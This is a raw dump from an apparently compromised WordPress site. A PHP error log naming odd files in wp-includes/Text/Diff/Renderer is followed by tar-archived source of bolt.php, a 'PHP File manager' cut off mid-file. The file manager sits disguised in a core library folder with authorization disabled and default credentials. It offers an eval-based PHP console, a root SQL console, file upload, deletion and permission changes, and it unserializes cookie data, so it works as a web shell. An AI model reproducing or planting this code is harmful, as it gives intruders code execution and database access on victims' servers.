[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:37:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:59 UTC] PHP Warning:  fileperms(): stat failed for /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/error_log.tar.gz in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 134
[25-Jun-2026 19:38:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:04 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:38:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
                                                                                                                                                                                                                                                                                                                                                                                                                   bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
